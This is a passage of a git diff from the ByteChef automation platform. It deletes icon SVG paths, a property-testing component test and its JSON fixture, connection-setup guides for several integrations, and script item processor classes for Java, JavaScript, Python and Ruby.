-<g><path style="opacity:1" fill="#94332f" d="M 77.5,81.5 C 73.5,86.5 69.5,91.5 65.5,96.5C 64.4265,95.7494 64.2599,94.7494 65,93.5C 69.0356,89.2964 73.2022,85.2964 77.5,81.5 Z"/></g>
-<g><path style="opacity:1" fill="#dec9c9" d="M 117.5,88.5 C 120.674,88.9522 121.007,89.9522 118.5,91.5C 116.481,90.8671 116.147,89.8671 117.5,88.5 Z"/></g>
-<g><path style="opacity:1" fill="#961e18" d="M 132.5,92.5 C 142.704,97.9751 143.037,103.975 133.5,110.5C 132.167,109.833 131.167,108.833 130.5,107.5C 137.366,98.6327 136.366,97.6327 127.5,104.5C 126.167,103.833 125.167,102.833 124.5,101.5C 127.189,98.4802 129.856,95.4802 132.5,92.5 Z"/></g>
-<g><path style="opacity:1" fill="#94302c" d="M 81.5,94.5 C 79.2369,98.1029 76.5703,101.436 73.5,104.5C 72.475,104.103 72.3083,103.437 73,102.5C 75.7028,99.6286 78.5361,96.9619 81.5,94.5 Z"/></g>
-<g><path style="opacity:1" fill="#912927" d="M 89.5,100.5 C 90.5983,101.601 90.765,102.934 90,104.5C 86.8883,107.101 84.3883,110.101 82.5,113.5C 81.7109,113.217 81.0442,112.717 80.5,112C 84.5409,108.815 87.5409,104.981 89.5,100.5 Z"/></g>
-<g><path style="opacity:1" fill="#9e100b" d="M 102.5,108.5 C 106.167,108.833 108.167,110.833 108.5,114.5C 115.2,116.58 117.033,120.914 114,127.5C 110.562,132.081 106.062,133.581 100.5,132C 98.3834,130.269 96.8834,128.102 96,125.5C 94,127.5 92,129.5 90,131.5C 87.7049,129.92 86.3716,127.92 86,125.5C 91.7029,119.965 97.2029,114.298 102.5,108.5 Z"/></g>
-<g><path style="opacity:1" fill="#e9e2e2" d="M 104.5,117.5 C 108.225,117.78 109.392,119.78 108,123.5C 106.649,125.01 104.982,126.01 103,126.5C 101.268,126.266 100.434,125.266 100.5,123.5C 101.073,120.938 102.407,118.938 104.5,117.5 Z"/></g>
-<g><path style="opacity:1" fill="#9e0e09" d="M 127.5,121.5 C 130.073,122.879 131.573,124.879 132,127.5C 126,133.5 120,139.5 114,145.5C 111.705,143.92 110.372,141.92 110,139.5C 116.036,133.631 121.87,127.631 127.5,121.5 Z"/></g>
-<g><path style="opacity:1" fill="#9f0b07" d="M 140.5,144.5 C 142.173,148.594 141.84,152.427 139.5,156C 138.833,156.667 138.167,156.667 137.5,156C 134.667,153.167 131.833,150.333 129,147.5C 127.293,149.483 127.126,151.483 128.5,153.5C 131.043,155.94 134.043,157.606 137.5,158.5C 135.56,163.092 132.894,163.925 129.5,161C 121.986,155.831 120.653,149.498 125.5,142C 131.31,138.263 136.31,139.096 140.5,144.5 Z"/></g>
-<g><path style="opacity:1" fill="#d7bdbd" d="M 132.5,146.5 C 135.857,145.343 137.357,146.676 137,150.5C 135.629,148.959 134.129,147.625 132.5,146.5 Z"/></g>
-<g><path style="opacity:1" fill="#952722" d="M 140.5,144.5 C 143.886,147.629 144.386,151.295 142,155.5C 140.871,157.141 139.371,158.141 137.5,158.5C 134.871,155.369 132.038,152.369 129,149.5C 128.51,150.793 128.343,152.127 128.5,153.5C 127.126,151.483 127.293,149.483 129,147.5C 131.833,150.333 134.667,153.167 137.5,156C 138.167,156.667 138.833,156.667 139.5,156C 141.84,152.427 142.173,148.594 140.5,144.5 Z"/></g>
-<g><path style="opacity:1" fill="#e6dede" d="M 137.5,158.5 C 134.043,157.606 131.043,155.94 128.5,153.5C 128.343,152.127 128.51,150.793 129,149.5C 132.038,152.369 134.871,155.369 137.5,158.5 Z"/></g>
-</svg>
diff --git a/server/libs/modules/components/property-testing/src/test/java/com/bytechef/component/property/testing/PropertyTestingComponentHandlerTest.java b/server/libs/modules/components/property-testing/src/test/java/com/bytechef/component/property/testing/PropertyTestingComponentHandlerTest.java
deleted file mode 100644
index 167868d3849..00000000000
--- a/server/libs/modules/components/property-testing/src/test/java/com/bytechef/component/property/testing/PropertyTestingComponentHandlerTest.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.property.testing;
-
-import com.bytechef.test.jsonasssert.JsonFileAssert;
-import org.junit.jupiter.api.Test;
-
-class PropertyTestingComponentHandlerTest {
-
-    @Test
-    void testGetComponentDefinition() {
-        JsonFileAssert.assertEquals("definition/property-testing_v1.json",
-            new PropertyTestingComponentHandler().getDefinition());
-    }
-}
diff --git a/server/libs/modules/components/property-testing/src/test/resources/definition/property-testing_v1.json b/server/libs/modules/components/property-testing/src/test/resources/definition/property-testing_v1.json
deleted file mode 100644
index 0397c1bec48..00000000000
--- a/server/libs/modules/components/property-testing/src/test/resources/definition/property-testing_v1.json
+++ /dev/null
@@ -1,388 +0,0 @@
-{
-  "actions": [ {
-    "batch": null,
-    "beforeResume": null,
-    "beforeSuspend": null,
-    "beforeTimeoutResume": null,
-    "deprecated": null,
-    "description": "Description",
-    "help": null,
-    "metadata": null,
-    "name": "testingAction",
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": {
-        "outputSchema": {
-          "additionalProperties": null,
-          "advancedOption": null,
-          "controlType": "OBJECT_BUILDER",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "metadata": { },
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "properties": null,
-          "required": null,
-          "type": "OBJECT"
-        },
-        "placeholder": null,
-        "sampleOutput": null
-      },
-      "outputSchema": {
-        "additionalProperties": null,
-        "advancedOption": null,
-        "controlType": "OBJECT_BUILDER",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "metadata": { },
-        "multipleValues": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "placeholder": null,
-        "properties": null,
-        "required": null,
-        "type": "OBJECT"
-      },
-      "sampleOutput": null
-    },
-    "perform": { },
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "ARRAY_BUILDER",
-      "defaultValue": null,
-      "description": "Max items set to 3",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "items": [ {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": null,
-        "type": "STRING"
-      } ],
-      "label": "Array Max Items",
-      "maxItems": 3,
-      "metadata": { },
-      "minItems": null,
-      "multipleValues": null,
-      "name": "arrayMaxItems",
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": null,
-      "type": "ARRAY"
-    }, {
-      "advancedOption": null,
-      "controlType": "ARRAY_BUILDER",
-      "defaultValue": null,
-      "description": "Min items set to 3",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "items": [ {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": null,
-        "type": "STRING"
-      } ],
-      "label": "Array Min Items",
-      "maxItems": null,
-      "metadata": { },
-      "minItems": 3,
-      "multipleValues": null,
-      "name": "arrayMinItems",
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": null,
-      "type": "ARRAY"
-    }, {
-      "advancedOption": null,
-      "controlType": "INTEGER",
-      "defaultValue": null,
-      "description": "Integer maximum value set to 10",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Integer Max Value",
-      "maxValue": 10,
-      "metadata": { },
-      "minValue": null,
-      "name": "integerMaxValue",
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": null,
-      "type": "INTEGER"
-    }, {
-      "advancedOption": null,
-      "controlType": "INTEGER",
-      "defaultValue": null,
-      "description": "Integer minimum value set to 10",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Integer Min Value",
-      "maxValue": null,
-      "metadata": { },
-      "minValue": 10,
-      "name": "integerMinValue",
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": null,
-      "type": "INTEGER"
-    }, {
-      "advancedOption": null,
-      "controlType": "NUMBER",
-      "defaultValue": null,
-      "description": "Number max number precision set to 2",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Number Max Number Precision",
-      "maxNumberPrecision": 2,
-      "maxValue": null,
-      "metadata": { },
-      "minNumberPrecision": null,
-      "minValue": null,
-      "name": "numberMaxNumPrecision",
-      "numberPrecision": null,
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": null,
-      "type": "NUMBER"
-    }, {
-      "advancedOption": null,
-      "controlType": "NUMBER",
-      "defaultValue": null,
-      "description": "Number min number precision set to 2",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Number Min Number Precision",
-      "maxNumberPrecision": null,
-      "maxValue": null,
-      "metadata": { },
-      "minNumberPrecision": 2,
-      "minValue": null,
-      "name": "numberMinNumPrecision",
-      "numberPrecision": null,
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": null,
-      "type": "NUMBER"
-    }, {
-      "advancedOption": null,
-      "controlType": "NUMBER",
-      "defaultValue": null,
-      "description": "Number max value set to 5",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Number Max Value",
-      "maxNumberPrecision": null,
-      "maxValue": 5.0,
-      "metadata": { },
-      "minNumberPrecision": null,
-      "minValue": null,
-      "name": "numberMaxValue",
-      "numberPrecision": null,
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": null,
-      "type": "NUMBER"
-    }, {
-      "advancedOption": null,
-      "controlType": "NUMBER",
-      "defaultValue": null,
-      "description": "Number min value set to 5",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Number Min Value",
-      "maxNumberPrecision": null,
-      "maxValue": null,
-      "metadata": { },
-      "minNumberPrecision": null,
-      "minValue": 5.0,
-      "name": "numberMinValue",
-      "numberPrecision": null,
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": null,
-      "type": "NUMBER"
-    }, {
-      "advancedOption": null,
-      "controlType": "NUMBER",
-      "defaultValue": null,
-      "description": "Number precision set to 3",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Number Precision",
-      "maxNumberPrecision": null,
-      "maxValue": null,
-      "metadata": { },
-      "minNumberPrecision": null,
-      "minValue": null,
-      "name": "numberPrecision",
-      "numberPrecision": 3,
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": null,
-      "type": "NUMBER"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Maximum length set to 5.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "String Max Length",
-      "languageId": null,
-      "maxLength": 5,
-      "metadata": { },
-      "minLength": null,
-      "name": "stringMaxLength",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": null,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Minimum length set to 5.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "String Min Length",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": 5,
-      "name": "stringMinLength",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": null,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Regular expression is set to: \"[^A-Za-z]\". Just letters from a text should be returned.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "String Regular Expression",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "stringRegEx",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": "[^A-Za-z]",
-      "required": null,
-      "type": "STRING"
-    } ],
-    "resumePerform": null,
-    "suspendPerform": null,
-    "title": "Testing",
-    "workflowNodeDescription": null
-  } ],
-  "clusterElements": null,
-  "componentCategories": [ {
-    "name": "helpers",
-    "label": "Helpers"
-  } ],
-  "connection": null,
-  "customAction": null,
-  "customActionHelp": null,
-  "description": "Component fo testing.",
-  "icon": "path:assets/example.svg",
-  "metadata": null,
-  "name": "propertyTesting",
-  "resources": null,
-  "tags": null,
-  "title": "Property Testing",
-  "triggers": null,
-  "unifiedApi": null,
-  "version": 1
-}
\ No newline at end of file
diff --git a/server/libs/modules/components/pushover/src/main/resources/connection.mdx b/server/libs/modules/components/pushover/src/main/resources/connection.mdx
deleted file mode 100644
index 660a25a6c34..00000000000
--- a/server/libs/modules/components/pushover/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,14 +0,0 @@
-## Connection Setup
-
-1. Navigate to [link](https://pushover.net/).
-2. Click on **Create an Application/API Token**.
-3. Enter name of your application and optionally description, icon and URL.
-4. Check Terms of Service checkbox.
-5. Click **Create Application**.
-6. This is your **Application API Token**.
-7. Click here to go to the Pushover dashboard.
-8. This is your **User Key**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/0c219988-82f0-47b2-8e08-c5a89bc45bdd?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/reddit/src/main/resources/connection.mdx b/server/libs/modules/components/reddit/src/main/resources/connection.mdx
deleted file mode 100644
index 51a44dfb7fc..00000000000
--- a/server/libs/modules/components/reddit/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,13 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-1. Login to your account at https://www.reddit.com/prefs/apps.
-2. Click on **are you a developer? create an app...**
-3. Fill in the required fields, choose web app as type and click **create app**.
-4. Here you will find Client ID.
-5. Click on **edit** and here you will find Client Secret.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/mB65BPSEYnEwC7VKnovG?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/resend/src/main/resources/connection.mdx b/server/libs/modules/components/resend/src/main/resources/connection.mdx
deleted file mode 100644
index 8afc3762e4e..00000000000
--- a/server/libs/modules/components/resend/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,14 +0,0 @@
-## Connection Setup
-
-Connect Resend to ByteChef using an API key.
-
-### Create a Resend API key
-1. Log in to your [Resend account](https://resend.com/).
-2. Go to **API Keys**: https://resend.com/api-keys
-3. Click **+ Create API Key**.
-4. Give the key a descriptive name (for example, `ByteChef Integration`), choose the appropriate permission, and (optionally) limit it to a specific domain. Click **Add**.
-5. Copy the generated API key.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/lEMGWkoAeLNbnjNTpUlu?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/rocketchat/src/main/resources/connection.mdx b/server/libs/modules/components/rocketchat/src/main/resources/connection.mdx
deleted file mode 100644
index a270f695d0c..00000000000
--- a/server/libs/modules/components/rocketchat/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,11 +0,0 @@
-## Connection Setup
-
-1. Navigate to your dashboard.
-2. Go to your account and click on **Profile**.
-3. Click on **Personal Access Tokens**.
-4. Enter the token name and click **Add**.
-5. Copy the token and user Id and use it in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/88MeOqDAxaO2wjPh9fYY?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/rss/src/main/resources/connection.mdx b/server/libs/modules/components/rss/src/main/resources/connection.mdx
deleted file mode 100644
index b0051ef7007..00000000000
--- a/server/libs/modules/components/rss/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,32 +0,0 @@
-## Connection Setup
-
-### Setup webhook
-
-1. Create ByteChef workflow with RSS trigger.
-2. Click this icon to publish the project.
-3. Click on **Publish**.
-4. Click this icon to go to Project Deployments.
-5. Click on **Create Deployment**.
-6. Click on **Select...** and select your RSS project and desired version.
-7. Click on **Next**.
-8. Enable workflow.
-9. Choose connection.
-10. Click on **Save**.
-11. Enable deployment.
-12. Click here to expand the deployment.
-13. Click this icon to copy webhook URL.
-14. Navigate to [RSS app](https://rss.app/).
-15. Click on **MY FEEDS**.
-16. Click this icon.
-17. Click on **Webhooks**.
-18. Click **New Webhook** button.
-19. Enter copied webhook URL.
-20. Click on **Add Webhook**.
-21. Click on **Select Feed or Bundle**.
-22. Select desired feed.
-23. Click on **Save**.
-24. Click on **Send Test**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/6ea6b97e-6f98-45f4-9352-c755fe688a18?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/scrape-graph-ai/src/main/resources/connection.mdx b/server/libs/modules/components/scrape-graph-ai/src/main/resources/connection.mdx
deleted file mode 100644
index d0e40a0ecde..00000000000
--- a/server/libs/modules/components/scrape-graph-ai/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,8 +0,0 @@
-## Connection Setup
-
-1. Login to the dashboard at https://dashboard.scrapegraphai.com/login.
-2. Copy the API key. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/sfm38npUXm3cFkg5AaNp?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/script/src/main/java/com/bytechef/component/script/datastream/ScriptJavaItemProcessor.java b/server/libs/modules/components/script/src/main/java/com/bytechef/component/script/datastream/ScriptJavaItemProcessor.java
deleted file mode 100644
index 505af89fba3..00000000000
--- a/server/libs/modules/components/script/src/main/java/com/bytechef/component/script/datastream/ScriptJavaItemProcessor.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.script.datastream;
-
-import static com.bytechef.component.definition.ComponentDsl.clusterElement;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.platform.component.definition.ScriptComponentDefinition.SCRIPT;
-import static com.bytechef.platform.component.definition.datastream.ItemProcessor.PROCESSOR;
-
-import com.bytechef.component.definition.Property;
-import com.bytechef.component.script.datastream.definition.ScriptClusterElementDefinition;
-import com.bytechef.component.script.engine.PolyglotEngine;
-
-/**
- * @author Ivica Cardic
- */
-public class ScriptJavaItemProcessor {
-
-    public static ScriptClusterElementDefinition of(PolyglotEngine polyglotEngine) {
-        return new ScriptClusterElementDefinition(
-            clusterElement("java")
-                .title("Java")
-                .description("Transforms data stream items using custom Java code.")
-                .type(PROCESSOR)
-                .properties(
-                    string(SCRIPT)
-                        .label("Java Code")
-                        .description("Custom Java code to process items. The item is available as 'item' parameter.")
-                        .controlType(Property.ControlType.CODE_EDITOR)
-                        .languageId("java")
-                        .defaultValue(
-                            "public static Object perform(Map<String, ?> input, Context context) {\n\treturn null;\n}")
-                        .required(true)),
-            "java", polyglotEngine);
-    }
-
-    private ScriptJavaItemProcessor() {
-    }
-}
diff --git a/server/libs/modules/components/script/src/main/java/com/bytechef/component/script/datastream/ScriptJavaScriptItemProcessor.java b/server/libs/modules/components/script/src/main/java/com/bytechef/component/script/datastream/ScriptJavaScriptItemProcessor.java
deleted file mode 100644
index 04e00cef62b..00000000000
--- a/server/libs/modules/components/script/src/main/java/com/bytechef/component/script/datastream/ScriptJavaScriptItemProcessor.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.script.datastream;
-
-import static com.bytechef.component.definition.ComponentDsl.clusterElement;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.platform.component.definition.ScriptComponentDefinition.SCRIPT;
-import static com.bytechef.platform.component.definition.datastream.ItemProcessor.PROCESSOR;
-
-import com.bytechef.component.definition.Property;
-import com.bytechef.component.script.datastream.definition.ScriptClusterElementDefinition;
-import com.bytechef.component.script.engine.PolyglotEngine;
-
-/**
- * @author Ivica Cardic
- */
-public class ScriptJavaScriptItemProcessor {
-
-    public static ScriptClusterElementDefinition of(PolyglotEngine polyglotEngine) {
-        return new ScriptClusterElementDefinition(
-            clusterElement("javaScript")
-                .title("JavaScript")
-                .description("Transforms data stream items using custom JavaScript code.")
-                .type(PROCESSOR)
-                .properties(
-                    string(SCRIPT)
-                        .label("JavaScript Code")
-                        .description(
-                            "Custom JavaScript code to process items. The item is available as 'item' parameter.")
-                        .controlType(Property.ControlType.CODE_EDITOR)
-                        .languageId("javascript")
-                        .defaultValue("function perform(input, context) {\n\treturn null;\n}")
-                        .required(true)),
-            "js", polyglotEngine);
-    }
-
-    private ScriptJavaScriptItemProcessor() {
-    }
-}
diff --git a/server/libs/modules/components/script/src/main/java/com/bytechef/component/script/datastream/ScriptPythonItemProcessor.java b/server/libs/modules/components/script/src/main/java/com/bytechef/component/script/datastream/ScriptPythonItemProcessor.java
deleted file mode 100644
index 2bf15ec5253..00000000000
--- a/server/libs/modules/components/script/src/main/java/com/bytechef/component/script/datastream/ScriptPythonItemProcessor.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.script.datastream;
-
-import static com.bytechef.component.definition.ComponentDsl.clusterElement;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.platform.component.definition.ScriptComponentDefinition.SCRIPT;
-import static com.bytechef.platform.component.definition.datastream.ItemProcessor.PROCESSOR;
-
-import com.bytechef.component.definition.Property;
-import com.bytechef.component.script.datastream.definition.ScriptClusterElementDefinition;
-import com.bytechef.component.script.engine.PolyglotEngine;
-
-/**
- * @author Ivica Cardic
- */
-public class ScriptPythonItemProcessor {
-
-    public static ScriptClusterElementDefinition of(PolyglotEngine polyglotEngine) {
-        return new ScriptClusterElementDefinition(
-            clusterElement("python")
-                .title("Python")
-                .description("Transforms data stream items using custom Python code.")
-                .type(PROCESSOR)
-                .properties(
-                    string(SCRIPT)
-                        .label("Python Code")
-                        .description("Custom Python code to process items. The item is available as 'item' parameter.")
-                        .controlType(Property.ControlType.CODE_EDITOR)
-                        .languageId("python")
-                        .defaultValue("def perform(input, context):\n\treturn null")
-                        .required(true)),
-            "python", polyglotEngine);
-    }
-
-    private ScriptPythonItemProcessor() {
-    }
-}
diff --git a/server/libs/modules/components/script/src/main/java/com/bytechef/component/script/datastream/ScriptRubyItemProcessor.java b/server/libs/modules/components/script/src/main/java/com/bytechef/component/script/datastream/ScriptRubyItemProcessor.java
deleted file mode 100644
index 67219f22f69..00000000000
--- a/server/libs/modules/components/script/src/main/java/com/bytechef/component/script/datastream/ScriptRubyItemProcessor.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.script.datastream;
-
-import static com.bytechef.component.definition.ComponentDsl.clusterElement;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.platform.component.definition.ScriptComponentDefinition.SCRIPT;
-import static com.bytechef.platform.component.definition.datastream.ItemProcessor.PROCESSOR;
-
-import com.bytechef.component.definition.Property;
-import com.bytechef.component.script.datastream.definition.ScriptClusterElementDefinition;
-import com.bytechef.component.script.engine.PolyglotEngine;
-
-/**
- * @author Ivica Cardic
- */
-public class ScriptRubyItemProcessor {
-
-    public static ScriptClusterElementDefinition of(PolyglotEngine polyglotEngine) {
-        return new ScriptClusterElementDefinition(
-            clusterElement("ruby")
-                .title("Ruby")
-                .description("Transforms data stream items using custom Ruby code.")
-                .type(PROCESSOR)
-                .properties(
-                    string(SCRIPT)
-                        .label("Ruby Code")
-                        .description("Custom Ruby code to process items. The item is available as 'item' parameter.")
-                        .controlType(Property.ControlType.CODE_EDITOR)
-                        .languageId("ruby")
-                        .defaultValue("def perform(input, context)\n\treturn null;\nend")
-                        .required(true)),
-            "ruby", polyglotEngine);
-    }
-
-    private ScriptRubyItemProcessor() {
-    }
-}
diff --git a/server/libs/modules/components/script/src/main/java/com/bytechef/component/script/datastream/definition/ScriptClusterElementDefinition.java b/server/libs/modules/components/script/src/main/java/com/bytechef/component/script/datastream/definition/ScriptClusterElementDefinition.java
deleted file mode 100644
index ec2910de87e..00000000000
--- a/server/libs/modules/components/script/src/main/java/com/bytechef/component/script/datastream/definition/ScriptClusterElementDefinition.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.script.datastream.definition;
-
-import static com.bytechef.component.script.constant.ScriptConstants.INPUT;
-
-import com.bytechef.commons.util.MapUtils;
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.ClusterElementDefinition;
